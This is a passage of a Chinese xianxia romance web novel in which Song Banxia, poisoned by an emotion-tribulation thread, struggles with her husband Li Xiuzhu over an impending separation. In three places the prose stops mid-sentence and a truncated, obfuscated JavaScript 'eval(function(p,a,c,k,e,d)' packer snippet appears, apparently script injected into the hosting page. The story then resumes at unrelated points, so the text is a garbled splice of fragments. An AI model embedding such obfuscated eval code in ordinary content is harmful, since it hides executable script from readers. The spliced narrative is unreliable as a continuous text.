闻奈汗流浃背,安慰李修竹说:“不会的。” “不会?” 闻奈怒了,道:“叶晃!你少说两句吧!”这家伙要是反悔了,不解了可怎么办? 他们的这番争吵,宋半夏在门外听得真真切切。 再怎么说,宋半夏也是一个元婴,不说方圆百里,这一墙之隔的争吵就连凡人也能听得见。 宋半夏本想在外面让冷风吹吹,把自己吹冷静一点,实在不知道为什么院子内突然就为了她体内情劫丝的事情吵起来了,不过合离二字她确实听得真真切切。 也就是说,她之前的一切感觉都没有错,李修竹确实是打算着离开她的。 宋半夏深吸了一口气,里面却还在吵个不停,她扭头,推开半掩的外院门重新走了进去。 因为有止风的法咒,所以他们是在院子里用的餐。 “叶晃!叶前辈!”她冷声道。 院落内争吵的声音一静都看向了她。 宋半夏目光沉沉,扫视过众人,又重新落回叶晃身上说:“即便情劫丝解开,我也绝对绝对不会伤害李修竹的,我可以发誓。” 马茯苓道:“确实,半夏被下情劫丝这种事情,李剑君也没办法预料。即便没有夫妻情分,半夏也是不会黑白不分的。” “黑白不分的恐怕另有其人。”叶晃道,“宋半夏,你知道……” 闻奈厉声道:“叶晃!够了!” 对面,李修竹目光锐利,已经握上了腰间佩剑,倘若闻奈没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那蜜蜂围着此地嗡嗡绕了几圈,就把他们带到了一个破旧的院子前,推开门,里面正站着男孩所说的三人和他阿姐,以及还有一名佝偻着身躯的老婆婆。 “是你们?”宋半夏按住了孟灵拿锤头的手。 孟灵皱了下眉问她:“你认识?” 宋半夏:“仙盟前见过,他们是仙盟修士,接了任务出来的。” 李修竹转头看向宋半夏,心里滋味复杂。 岳子昂三人见到了他们也是一惊,孟灵和闻奈这些年不常在仙盟走动,但叶晃和李修竹他们还是认识的。 于是连忙上前行礼。 行完礼后,岳子昂十分讶然地跟宋半夏搭话:“宋前辈,你怎么也在这里?” 宋半夏说:“一起去朋友家吃了顿饭,听说这小男孩的阿姐遇到了邪修就来了,没想到竟然是你们。” 孟灵看着他们三人眯了眯眼道:“仙盟修士做邪修之事,可是要掉脑袋的。” 岳子昂三人连忙否认。 他们指了指那边的老太太,说:“这都是因为仙盟任务。” 宋半夏:“那个寻猫的任务?” 三人互相看了一眼,刘丁香道:“恐怕并非寻猫,那老人家口中的咪咪,是个女孩。” 宋半夏还算舒展的眉眼一下子肃了肃。 失踪一个人和失踪一只猫,这完全是两码事。 刘丁香说:“我们本来也以为老人家找的是家里养的猫,她居住的地方比较荒,也没什么邻居,我们就打算带她在城中走一圈,看看能不能回想起猫是在哪丢的。” “认识她的人说,她家确实养过猫,后来跑丢了,可能是因为太孤独,所以老人家才一直在找猫。可是后来我们遇到了那姑娘,那小姑娘听了老人家找猫这件事,却跟我们说老人家找的咪咪可能不是猫,而是她的孙女。” 那边的病弱姑娘已经把自己做事没谱且大惊小怪的弟弟训了一顿,她咳得厉害,身上披的厚斗篷一看就不属于她,大抵是岳子昂三人的。 那姑娘见了众人似乎有点不好意思,觉得自己和弟弟给他们添麻烦了。 她说:“我记得刘阿婆,那个时候我还小,父母也还健在,家里还住在刘阿婆家附近,因此我对刘阿婆家里的姐姐记得很深刻。刘阿婆家里是做纸扎生意的,很多人避讳,不经常跟他们来往。” “但我小时候很贪嘴,刘阿婆家里的姐姐就经常会给我吃点心。我逐渐的就和那个姐姐熟络起来。那个姐姐比我大个两三岁,小名就叫咪咪。我曾经也问过她为什么小名叫咪咪。她说,那是因为她刚出生的时候弱的像只小猫,所以她家阿婆就叫她咪咪。” “后来有几名仙人路过,说刘家姐姐根骨特殊,是罕见的冰系灵根,于是就给了刘阿婆一笔钱,带刘家姐姐走了,但之后刘家姐姐就再也没回来过。刘阿婆这两年上了年纪了,人老了,大抵就把刘家姐姐和自己的猫搞混了。” 宋半夏心想,这可不是刘阿婆把自己的孙女和猫搞混了,是他们把一人一猫搞混了才对,刘阿婆从来花大价钱要找到的都是自己的女儿罢了。 一旁,孟灵听完,问她:“你知不知道刘阿婆被哪门哪派的仙人带走了?” 那女孩摇了摇头,她回想了一下说:“听口音似乎是北海那边的人。” 女孩疑问道:“马姐姐,那边的修士进了宗门之后就不让弟子们再见凡尘中的家人了吗?这是不是有点太残忍了。” 马茯苓看向那边头发花白的老人有些哑然。 李修竹说:“没这个规矩,就算是蓬莱也不可能禁止弟子不与家中联系,最多也就劝诫他们早些参透生死罢了。” 听到这话,刘丁香不由得看了李修竹一眼,随即低下了脑袋。 蓬莱修士确实是这样的。 女孩:“那刘家姐姐这么多年怎么也不回家来看看阿婆。” 闻奈想起什么微微皱了一下眉头。 冰系灵根确实少见,若真在北海宗门有这么一个人不可能默默无闻。 岳子昂沉吟道:“既然这样,这个任务肯定一时半会是无法完成了。北海冰系,似乎没有听说过有哪个宗门弟子有这样特殊的灵脉。难道是因为不是天灵根,所以在宗门里默默无闻吗?” 宋半夏忽然问女孩:“你还记得刘家姐姐被修士带走的时候是多大岁数吗?” 女孩道:“大概七八岁左右。” 孟灵说:“年龄太小了,北海那边的宗门一般不会收这样年龄小的弟子,除非真的天赋异禀,但倘若真的天赋异禀,这么多年又怎么会默默无闻?” 闻奈道:“倒是也有一种可能。若是英年早逝,恐怕也不会太过出名。” 想到这种可能众人都有些沉默,世间最痛苦的事无非生死相隔罢了。 一旁三人组中默默无闻的中年人葛琼说:“就算弟子早逝,也会有宗门之人通知家人。而且,遇到了七八岁的孩童直接带走这种事情,不太像正经修士,也有可能是邪修。” 说来说去,总之那刘家女孩的命数恐怕不会太好。 岳子昂道:“我回去会让仙盟更改这个任务,由寻猫改成寻人。” 孟灵点了点头。 要告别之际,岳子昂忽然上前同宋半夏搭话,说:“宋前辈,你……你要不要和我们一同去吃三香斋的饭菜?” 刘丁香和葛琼对于自己同伴的这种搭讪方式感到绝望。 21. 第二十一章 岳子昂问出这句不知深浅的话之后,在场的众人至少都有一秒钟的寂静。 这人疯了吗? ——大家心中都飘过了这样一句话。 别说闻奈,就连叶晃也为之侧目了。 当着李修竹的面撬他老婆,这小子,很有前途啊。 在众人复杂的心理活动中,宋半夏诧异回头看向岳子昂。 刘丁香和葛琼都是会读气氛的人,但岳子昂不是,岳子昂纯粹一个莽夫,根本意识不到李修竹的目光此刻正冷了一个度扫在他的身上。 岳子昂只会觉得奇怪地问李修竹:“李剑君……要一起去吗?” 这句话直接把李修竹给气笑了,见过嚣张的,没见过这么嚣张的。因为太过愣头青,反而让人对此感到了一种咬牙切齿的无力。 宋半夏说:“不必了吧,我只打算在城里随便逛逛然后买点小吃就好。” 岳子昂几乎有些献宝地笑着说:“我知道哪里的小吃好吃。” 李修竹往前站了一步,直接把人隔开了,岳子昂扭头还要看宋半夏,问:“宋前辈——” 李修竹冷声道:“岳子昂?” 岳子昂被这冰冷冷的语调叫回了神,他愣了一下,犹豫后退了一步,不知道李修竹为何这般模样,拱手行礼问:“剑君是有什么吩咐吗?” 李修竹道:“往后退。” “?”岳子昂心想,这算什么吩咐,但碍于李修竹的地位,他只能往后退了两步,“这样吗?” 李修竹道:“再往后退。” 宋半夏反应过来了,转头揪了一下李修竹的衣服,说:“你别欺负人家。” 李修竹拧了眉,看向她,正要质问。 只听岳子昂呆呆的问:“宋前辈,虽然有些冒昧,但我还是想问一下,你那即将要合离的夫君,不知道叫什么名字?” “……” 孟灵猛然扭头,看向岳子昂,睁了睁自己的眼睛。 闻奈被自己的口水呛了一下,低头看地。 这地可真蓝啊。 马茯苓吃惊道:“半夏也要合离?” 远处岳子昂道:“也?除了宋前辈,还有哪位前辈要合离吗?” 叶晃抱着胳膊,拿手捂了捂唇。 这倒是他喜闻乐见的局面。 李修竹拿情劫丝骗了自己一百年,如今被人打破那个美好的幻境,也是活该的。 岳子昂见众人不语,还要再问,但一旁的葛琼和刘丁香却生生惊出了一身汗来。 他们已经记起来,一百年前,宋家的确有个鼎鼎大名的大小姐嫁了人,而嫁的正是眼前这位嗖嗖冒着冷气的逍遥道剑主李修竹、李剑君! 于是,在局面变得更糟糕之前,葛琼和刘丁香当机立断上前捂住了岳子昂的嘴巴。 岳子昂不能说话,因此睁大了他的眼睛。 宋半夏哑然,没敢去看李修竹,怕自己绷不住哭了。 李修竹原本杀气腾腾的脸色,转瞬间变得苍白艰涩,勉强还提的起一口气,牵起宋半夏的手去对岳子昂三人冷声道:“此处没有其他人要合离,宋前辈也不会合离。” 闻言,孟灵眼睛闪了闪,说不清自己是松了一口气,还是被扎了一针,或许都有,她垂了垂眼睫。 叶晃看热闹的神色冷了冷,放下了遮着自己唇的手,他想警告李修竹不要执迷不悟,但过往说过太多类似的话,导致他竟觉得有些倦了。 宋半夏感觉他握住自己的手十分用力,像是要把她牢牢锁在他身边一样。 她张了张口,却觉得眼前一暗,随即昏了过去,只听到了马茯苓的惊声呼叫。 “半夏!” * 宋半夏的猝然昏迷让众人都十分惊慌,闻奈当即被推上前给她诊断。 诊了半天,闻奈眉间越皱越紧。 情劫丝的毒性开始侵蚀宋半夏的身体了,这丹毒必须得解,再不解就晚了。 闻奈看了看众人,只这避讳莫深的一眼,孟灵等人都明白了宋半夏的昏迷是与情劫丝有关。 岳子昂等人不清楚,还在追问。 李修竹沉默良久,抱起来了宋半夏,往外走。 马茯苓道:“我家里离这里近。” 她一脸担心,路上对马忠道:“情劫丝的丹毒很难解吗?” 马忠不知道该怎么解释,按理来说是不难解的,当年李修竹都已经决心娶了宋家小姐,看起来也并不想不在乎的样子。他那么爱四处闯荡的人月月都要回到那个小镇,可见二人是很相爱的,只是……不知其中到底有着什么样的缘由。 他看向后面要拔刀,却被闻奈和孟灵拦下的叶晃。 说起来似乎不光是叶晃,就连其他几人在李修竹娶了宋半夏之后,也就逐渐跟李修竹疏远了,他曾经以为是因为李修竹一开始场面待在那个被他庇护的小镇的原因,此刻看来,似乎并不是。 马忠低头看向马茯苓牵住自己的手,顿了顿,安慰她说:“不会有事的,如果真的有事,闻奈早就上前抢救了。” 马茯苓点了点头,仍是一脸担忧。 她牵住他衣袖的手却迟迟没有放下,马忠安静地待在她身边,他抬了抬自己的手指,可最终又犹豫放下。 他跟小姐相处已久,但似乎始终难以跨过中间这道障碍。 马茯苓抬头看了看他,又低下头,咬了咬唇。 * “咳。” 宋半夏醒了过来,觉得自己嗓子有些哑,一侧头,旁边是正在给她输送灵力的李修竹。 她问:“这是哪?” 李修竹见她醒了,输送灵力的手顿了顿,起身从旁边给她倒了杯茶水,喂到了她的唇边,说:“马忠家。” 宋半夏调动了一下自己体内灵力,发现有些凝滞的感觉,心里有了些底,问:“我怎么了?” 李修竹说的平静,但垂在他身侧的手已经青筋凸起,他说:“情劫丝的丹毒在你体内太久了,虽然一直有在解,但也到了极限了。” 宋半夏了然地点了点头。 李修竹望着她,打量她的神情,脸色苍白,问她:“这种副作用是不是早就开始出现了?” 当闻奈告诉他这种可能的时候,别说叶晃,连他也忍不住想给自己几巴掌。 宋半夏被情劫丝控制着,她的各种行为都难以自控,而他却沉迷在她不知真假的爱里面,将她囚困,也将自己囚困。 李修竹的脸色很难看,难看到宋半夏伸出手,想抚平他皱起的眉宇。 他伸出手,抓住了她的手,将她抱到了怀中。 宋半夏说:“没有,刚刚出现的,骗你我是小狗。” 李修竹想笑,可笑容却是苦涩的。 宋半夏在他怀里待了片刻,转身抱住了他,将自己的脸埋在他脖颈旁,不让他看见自己流泪的眼睛。 她咬紧了牙关,方才使自己没有说出那句挽留的话、那句让她自己心碎的话。 李修竹摸着她的脑袋,半晌,将头低下去,在她耳边轻叹说:“半夏,别讨厌我。” “我才不会讨厌剑君。”她有些哽咽地道。 李修竹心想,在情劫丝的影响下,她都能背地里跟别人说要合离了,若说不讨厌他恐怕也很难令人相信。 尽管知道她会有什么样的回答,李修竹还是忍不住问道:“你是不是喜欢更年轻一点的修士?” “什么?”宋半夏反应了很长时间,随即说,“不喜欢。” 李修竹说:“那就是喜欢更老一点的?” “不喜欢。” 李修竹仍不死心,似乎一定要得到他想要的答案一样,追问她道:“那你喜欢什么样的?” 宋半夏忍了很久才说:“我只喜欢剑君这样的。” 李修竹终于满意,可搬开她的脑袋才发现,她正咬着唇偷偷流泪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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意识到自己在做什么,李修竹‘唰’地将手收了回去,速度快到宋半夏险些以为刚刚是错觉。 宋半夏抬眼,茫然且震惊地看着李修竹问:“你刚刚是扇了我一巴掌吗?” 李修竹顿时有些手足无措,他想张口解释,最后话出口却变成了:“那你扇回来。” “?”宋半夏睁大了眼睛,她不敢置信,她伸出手抓住了他的脖颈处的衣服,咬牙问他,“所以剑君刚刚是真的想扇我一巴掌?” 这个是她绝不能忍的,就算再喜欢他也不行。 李修竹说:“不是……我只是……只是想摸摸你,是不是摸疼了?” 宋半夏松了松手,看了他片刻,把他的手拿过来咬了一口。他的手太硬,险些没把她牙硌坏。她松开口,他的手上就沾了她的唾液,牙印处亮晶晶的,看上去有些暧昧。 李修竹拿舌尖抵了抵自己的上膛,眸光变深了些许。 不开荤还好,一开荤就难免有些难以忍受,他不得不将自己的视线移开,看向旁边的灯烛。 灯烛燃了一夜,此刻却仍燃着,只是在光下变得有些暗淡。 宋半夏用灵力自己在各处经脉处走了一遍,有些吃惊,顿时抬起了头看向李修竹:“剑君?” “嗯?”李修竹心里杂七杂八想了许多,听到她的声音随口应下,方才回头看向她,“怎么?” 宋半夏说:“情劫丝好像还没解完?” 李修竹刚刚才因为宋半夏与往常无二的态度而变得雀跃的心瞬间摔了下去,摔的他脸色变了三变。 二人对视片刻,李修竹扭头出门去把客栈的闻奈抓了过来。 22. 第二十二章 闻奈被李修竹火急火燎地抓了过来,还以为是出了什么大事——毕竟按李修竹那个臭着脸的程度,说明天世界要毁灭了他都不足为奇。 来了他才知道是情劫丝的事情。 看着活蹦乱跳的宋半夏,闻奈对着李修竹磨了磨牙。 他心想,这个混蛋,纯遛人玩呢? 毕竟李修竹也不是没干过这种缺德事,偏他修为高,大家也都不敢说什么。至于宋半夏……她满心满眼都是李修竹,所以对这些事情并不知晓,就算听别人说了,也只觉得完全是别人的错。 闻奈给宋半夏把完脉,面对李修竹皱起的眉头,没好气地道:“是还差一点。” 李修竹拧眉:“你之前不是就说还差一点吗?” 闻奈:“是啊。” “那怎么还没解完?” 闻奈深吸了一口气,看了看不知在发什么呆的宋半夏,又看了看眼前一言不合灵力就要砸过来的李修竹,扯了扯嘴角假笑道:“没解完,那就继续解啊。” 李修竹已经对闻奈的医术产生了深深的怀疑。 闻奈看出来了,因此他再也忍不住进行了反击,口不择言道:“为什么不继续解了?是因为遇到了问题吗?没事,我这里有十全大补丸、壮阳丹,想要什么都有,保证一副见效!” 李修竹还拧着个眉毛,只有对宋半夏身体的担忧,没有任何对自己的质疑。 宋半夏回过神,收回放在脉枕上的手,捂了捂脸。 李修竹道:“你的医术到底能不能行,还是说你对情劫丝的了解也没那么多?” 闻奈气笑了。 “首先,我确实对情劫丝的了解不够多,那是因为近几百年,中了情劫丝的只有你媳妇一个!没有其他活的案例让我来了解!这怪谁?怪我吗?” “你不够了解不早说?”李修竹也怒了,“若是她身体出现什么问题怎么办?” “……”闻奈觉得,他简直是个倒打一耙的天才——无耻至极! 闻奈敲了敲桌子道:“你冲我生什么气?不应该冲那个炼制情劫丝、还把情劫丝下在人家无辜姑娘身上的渣滓生气吗?!”他把渣滓两个字咬的很重。 此话一出,李修竹脑袋里闪过惊雷,立即僵了僵,瞥了一眼桌子上低头捂脸的宋半夏神色更僵了,再扫向闻奈,气势弱了弱。 宋半夏此刻出声调节气氛,她撑在脑袋上的手举了举,说:“我觉得确实应该骂那个混蛋。” 作为受益者,宋半夏其实对那名渣滓没什么怒意,但是想到那渣滓的目的是为了害李修竹,而且李修竹如今也确实修为倒退,算是深受其害了,所以她觉得骂一骂那个渣滓,缓和一下现如今的状况这完全没有问题。 可听在李修竹和闻奈耳朵里,这话就已经完全变了个意思。 毕竟他们二人是知道那个‘渣滓’是谁的。 一个渣滓本人,一个渣滓帮凶,一时间仿佛被受害者贴面控诉了,因此双双静了静。 李修竹在一旁有些坐立难安,本来抱着的胳膊,此刻也放在两侧,颇有些多余的样子。 宋半夏见二人一时无声,心中纳闷,抬了抬头,目光刚一触碰到闻奈脸上,闻奈立刻绷紧了脸,不去看她,十分心虚加愧疚,话也会说了,道:“咳,那个……我是说,虽然没有其他活的案例,但我都研究情劫丝这么多年了,心里当然是有数的。只是这丹毒吧,它毕竟是在人的身体里,多与少我只能对此进行估算,所以一时估算的没有那么准确也是有的……而且它是靠逍遥道的传承去解的,这……这我确实难以估量。那还剩一点就继续解呗,也没个一两次了不是?” 李修竹沉默着,看向宋半夏。 闻奈看了看李修竹,看了看宋半夏,低头掏腰包:“我这里有十全大补丸、壮阳丹、合欢散……” 面色艰涩的李修竹眉毛一跳,一道术法过去闻奈唰地离开了原地,去到了门外。 “……” 闻奈站在门外,嘶了一声,要去理论——这饭吃完了打厨子像话吗?!迈上台阶,忽的又站住,说实话,这么多年他看着情劫丝的副作用在宋半夏身上越来越深,也是十分担忧的。——这有违他的医道。 可像叶晃他们一样跟李修竹划清界限,他也做不到。和叶晃不同,他出身其实并不清正,如果不是李修竹和孟灵搭救,他要么死在邪修手里,要么已经成为一个邪修了。 因此,闻奈是没办法那么理直气壮地说李修竹所做之事太过恶劣的,毕竟他也曾算是半个邪修。 而且或许是因为担忧情劫丝的事情对他的医修道心不利,李修竹当年制作情劫丝并没有借他的手。这让闻奈竟感到了一丝莫名的愧疚。 两厢愧疚之下,闻奈也无可奈何了。 屋内,李修竹看着低头沉默的人,心里乱糟糟的。 他想朝她伸出手,贴一贴她放在膝盖上的手,可是最终却只能停在原地。 大喜大落下,他失去了信心。 宋半夏其实对眼前的一切没什么想法,唯一的想法就是——现在解开情劫丝还是再拖一拖。 俗话说,一鼓作气,再而衰,三而竭。 此刻她就属于有些衰竭的类型。 面对解开就要分离的局面,她做不到那么干脆利落。 就像如今不解开,他分明还是会顾及情劫丝而来哄她的,会同她保持一个夫妻表面的情分。 可解开之后大抵就不会了。 她不言不语,抬头,忽然望进了一双深邃的、疲倦的、有些失意的眸子。 宋半夏怔了一下,下意识地轻声细语叫他:“剑君?” 面前的李修竹顿了顿,冲下露出了个笑,淡淡的,不是苦笑、也不是喜笑,似乎只是为了回应她,带着包容和放纵的意味。 宋半夏抿了抿唇,他一笑,她就朝他起身走过去了,然后一屁股坐到了他的怀里。 李修竹的笑滞了滞。 她身子轻飘飘的,像杨柳。 宋半夏揽着他的脖子,凑近他贴贴,他身上好闻的气息也就窜进她的鼻尖。 她喜欢他身上的味道,有时候淡,有时候浓。也喜欢他顺滑的头发,能让她的手从头梳到尾,像是凉凉的绸缎。修仙之人的外貌,除了三病五衰之时,修为越高的人越完美。李修竹长得又俊秀,就越发加重了这种完美。 “剑君。” 他迟了一息才应到:“嗯。” 李修竹无处摆放的手揽上了她的腰间,终于将她圈在了自己怀里,像是小心地圈住一朵摇曳的菡萏花。 尽管他一边又一边地警告自己这种被依赖的原因是因为宋半夏体内情劫丝的副作用,但还是不免受到了些蛊惑,更何况,是如今的情形——他本该给与她更多的安抚的。 宋半夏把脑袋搭在他的肩膀上,有些无赖,她心里难过,故意找茬,说:“我腰疼。” 他没有任何表示。 如果是失忆之前的李修竹早就闻声知雅意,伸出手来帮她揉腰了。 宋半夏因此觉得二人虽然面对面贴的很近,可比以前离得要远多了,她心里酸酸瑟瑟,就变得更为难过了。 “帮我揉腰。”她直言说。 李修竹仍没有动弹,似在犹豫。 宋半夏腰是不疼的,毕竟顾及到丹毒,他十分克制,手都没有敢多伸。但如今他迟疑不决,反倒让她恼了,故意要他帮自己揉腰才行,于是干脆自己上手,抓住他的手,给自己揉腰。 李修竹没法拒绝,气息有些紊乱起来。 克制? 去他的克制。 他想,如果她此刻朝他吻过来,那么他一定没办法拒绝。 但宋半夏并没有,所以李修竹也没有任何举动。 揉了一会儿腰,宋半夏抬起头看着呼吸有些失措地李修竹顿了顿,元婴境界的修为,使宋半夏很容易就察觉到了他气息的变化,但她觉得再正常不过了。 毕竟二人是夫妻不是吗? 她在等他的下一步动作,破罐子破摔地心想,好啊,那就干脆现在把情劫丝全解了,一了百了! 不过他只是有些生疏地帮她揉着腰,一副任劳任怨的模样。 看的连她想趁机找茬都没办法。 她想揪着他的头发吻上去,像从前每一次那样,但似乎又觉得冒昧,明明二人刚刚才做完了更亲密的事情。 宋半夏看了他片刻,干脆起身,说:“算了,你揉的不好。” 李修竹伸出的手在半空滞了滞,又收回,暗暗吸了口气。 宋半夏不知从哪里变出来了把梳子,给自己把头发梳上去了,梳到一半,她停下来,故意扭头看他,仿佛才意识到一般,说:“剑君要继续吗?” 他看了她片刻,似乎有些泄气。 起身走到了她身边,拿过了她手中的金镶玉的梳子,扫过她骤然握紧的手,说:“不是腰疼吗?过两天吧,等你的腰不疼了。” 宋半夏垂了垂眸,很明显地听出了他在迁就她。但又不是很确定,她咬了下唇,想到刚刚和以往不同的夫妻生活,顿时心又凉了大半截——他果然是不喜欢她了! 她果然是不喜欢他吧?李修竹心想。 他将她的发一点点往上盘起,看她仍闷闷不乐的样子,犹豫了一下,问:“腰还是很疼?” 她抿唇不说话。 李修竹将手放在她侧腰的地方,灵力涌动,将她的周身经脉舒缓。其实,他们都知道,这只是一个借口。 按照双修术所运转的体内灵气,除非走岔了地方,否则天然对此事有助力,根本不可能会出现腰疼、腿疼的情况,何况……他并没有去做些什么出格的举动,甚至于堪称僵硬到温和。 她只是不喜欢同他做这些事罢了。 他不禁去想,难道这就是解情劫丝解了一百年的缘故吗? 灵气运转处越发暖热。 李修竹拿舌尖抵了一下上膛,说:“是扭到了吗?” “不知道。”宋半夏回答。 李修竹静静地看了她片刻,将那些不该吐露的话往心里压,沉甸甸的、冰冷冷的、尖锐的话语,直捅地他自己心窝疼。 他试图拿出以往潇洒的、万花丛中过片叶不沾身的架势,笑了笑,引得她好奇抬头看他,他说道:“看来我的技术还有的练。” 宋半夏对于这调笑并不买账,因为她曾经见过他满眼都是自己的样子,所以对于他的迟疑和疏离都看的十分清晰。 她有些不忿,心想,分明是他不在意她了,连这种轻浮的话也同她说。 因为被他的态度所刺痛,所以宋半夏立刻采取了反击,甚至都没有因为他的身份所犹豫,纯粹是她骨子里对伤害绝不能容忍的态度在促使她说出更为伤人的话,她用比他还轻飘飘的语气说:“是啊,剑君的技术确实越来越差劲了,确实要练一练。” 这话一出,李修竹唇边伪装出的笑完全僵硬了。这一刻他甚至忘了她身上还有情劫丝的副作用,好像透过她的言语,看到了那个其实对他十分憎恶、厌弃的她本身的意志。 他有些无措,心想,真的有这么糟糕吗? 宋半夏转眸看到他的神情,很满意自己的攻击力,可立即又觉得心中一痛,抿了抿唇,怀疑自己是不是说的太过了。 一百年前,两个人半斤八两,所以她察觉不出什么,甚至觉得李修竹对她太过游刃有余。 可是现在,她跟李修竹这些年探讨了不少新鲜玩意,而他却失忆了,因此,反倒是李修竹觉得她对他有些过于轻松应对了。这让李修竹觉得有些别扭。 当自己的身体反应和情感被另一个人完全支配,而另一个人却仍紧守着自己的心,一点也不愿意往自己身上投注目光时,别说是逍遥道的剑君,就是合欢道的修士也会为之破防的。 因此李修竹咬了咬后槽牙,决心再试探一下她。 “练倒是可以,怕你不愿意。”他说。 宋半夏睁了睁自己的眼睛,没想到他会这样说,心里七上八下——她可没法接受李修竹学那群世家子弟的做派。但是让她认怂,她是绝不肯的。她说:“我有什么不愿的?” “你愿意?”李修竹牙咬的更紧了。 从前他是不觉得宋半夏和那群傲慢、自大且腐朽的修仙世家有什么联系的,她鲜活又自由,颇有些逍遥道的样子,可此刻李修竹却猛然记了起来。 关于世家中混乱、肮脏的关系,李修竹是曾经听说过的。明明看上去光鲜亮丽,无比保守,可是暗地里竟做什么□□之类的勾当。这让李修竹曾一度对世家十分厌恶。 李修竹几乎要被她气笑了,干脆说:“好啊,只是我没什么经验,还要请夫人来安排。” 他还真的想! 宋半夏气坏了,眼睛睁得更大了,她的胸膛起伏了两下,说:“我凭什么!” 李修竹说:“难道不是你提出来的吗?” “我……我……”宋半夏结结巴巴,“我提出来什么!” 李修竹目光冷冷,一字一句重复道:“让本尊去练练,再回来伺候夫人,不是吗?” 她将他往外推出去,好像他是什么可以随意丢弃的东西。他愤怒且妒忌地心想——倘若是沈家那个毛头小子,难道她也会这样说吗? 答案显然是否定的。 看她平日里一点气都不肯吃的样子,怎么可能容忍自己的夫婿被他人染指? 她只是不在意他,因此也不在乎他会同谁在一起。 虽然目的不同,但殊途同归,李修竹确实如她所愿,结结实实地被伤到了。 如果宋半夏此刻能冷静三分,完全看的出他是在说气话,毕竟他连本尊都说出来了,可是她已经叫愤怒和委屈冲昏了头脑,完全没办法停下自己的话。 她已经后悔,知道自己一句一句地已经把自己架上了高台。 可虽然是她说的话,叫她再收回去,那是万万不可能的,她觉得没脸。 宋半夏跟他僵持了片刻,咬了下唇,怒道:“谁说让你出去练了!” 李修竹也是气糊涂了,连给他递过来的台阶都没下去,反而道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着骤然变冷的气压,宋半夏的话也戛然而止,她不知道自己身上为什么突然起了一层的鸡皮疙瘩,更不知刚刚那突如其来的危机感是哪传来的。 她吸吸鼻子,眨巴了下眼睛,眼里的余泪落下,看清楚了眼前的世界。 面前李修竹面容平静,并无不妥。 宋半夏对自己戛然而止的话有些抹不下脸,从嗓子眼里挤出一个‘哼’字作为弥补。 二人对视片刻,李修竹终于开口道:“沈家虽然与你家是世交,可并不满意你不能修炼的体质,就算你嫁给沈广陵,也一定会有赵琳那样的世家女去被安排给他做妾,到那时,他既无心力顾你,你又受情劫丝的影响而对他难以亲近。夫妻生活不会如你所愿。” 宋半夏知道他说的完全是事实,可她原本是想唬他,并不知他对她的情况竟然认知地这样准确,一时反被他唬了一下。 她咬了下唇,也想就坡下驴不同他吵了,因此把话又引到那下丹药的人身上,心想,这锅就让那人多背背好了,谁让那人无缘无故算计别人呢? 于是宋半夏道:“说来说去,这还是那个偷你情丝给我下毒的人的错!” 她本意是想将李修竹的怒火引到那人身上,就不要在意她说的话了,谁料李修竹反而异常沉默起来,神情也更加疏离。 “这么讨厌情劫丝?”李修竹问。 看着他此刻的神情,宋半夏竟一时有些不敢去答。 说实话,如果不是她根本没有那个能耐,此刻该同他解释自己绝没有偷他情丝给自己下毒了。 她生气来生气去,其实只有一个意思——不想合离、不想离开他。 宋半夏知道自己这样实在是太没出息了,可是看到他眸子中对自己的纵容和怜惜,她就成了三岁小孩,试图用这种哭闹的耍赖方式,去从他那里得到更多。 李修竹叹气:“那等我解决完北海的事,就去寻那个给你下情劫丝的人,把他拎到你的面前任你处置可好?” 宋半夏心想,一百年都没有找到那个人,他如今失忆了又上哪找去? 可是他这样说了,且不再揪着她的错处不放,于是她就权当不知,说:“行。” 她应完,李修竹沉默了许久许久,久到宋半夏对此生出了些许疑虑,他才又恢复笑颜,说:“看你这样,等他到了你面前,你像是要捅他十刀八刀似的。” 宋半夏说:“那倒不用,一刀就好了。” 她看了看他的神色,暗暗给自己卖了个好,且也是说了句实话:“主要是他要害你嘛。” 不知是不是她的错觉,她觉得李修竹脸色有些白,像受伤了似的。 宋半夏心想,难道是北海的伤没好全,还有后遗症? 她有些担忧。 李修竹垂下眼去,又抬起说:“他害我是次要的,你没必要帮我去捅他这一刀。” 宋半夏说:“为什么?你要自己去捅?” 连自己的仇都不要她代劳?他们这夫妻做的,可真是足够疏远了。 李修竹:“我不认为他在害我,能认识你、遇到你,是我的幸运。” 他爱她,不由他愿,不如她意。 窗外的雪又飘落,一片一片,满含心事。 宋半夏听到自己的心脏好像打鼓一样,一下又一下,震耳欲聋,再也听不到世界上其他的声音了。 她坐了起来,被他的双眼望着,被自己的心事扰着,头一次觉得自己如此卑劣。 她想说她也是的,可是又怕自己真正的感情从话语中溢出,被他觉察到,以至于发现她的卑劣与恶毒。 有时候宋半夏真的想对他道——别这样纵容她了,难道仅仅因为一个情劫丝,他就必须要这样忍耐她吗?那又不是他的错。 可是她贪恋这几乎是被她偷来的温柔,因此犯了所有人都会犯得错误。 她不禁去想,若一天被他发现她真正的爱而非是受情劫丝的影响,他会感觉她面目可憎还是对她心生怜悯? 那都是她所畏惧的结果。 他不该知道——那被他当年所讨厌到不愿去露面颁奖的傲慢世家女,其实在心里爱慕极了他。 也不该知道,他不在的时候,她从不哭泣。 宋半夏弯了弯眼睛,泪却从眼角掉落,她轻声道:“我也是,遇到剑君,是我的幸运。” 他望着她眼角落下的泪,心被一点点的砸碎,却从这样言不由衷的话里汲取到了一丝温暖、虚假的温暖。 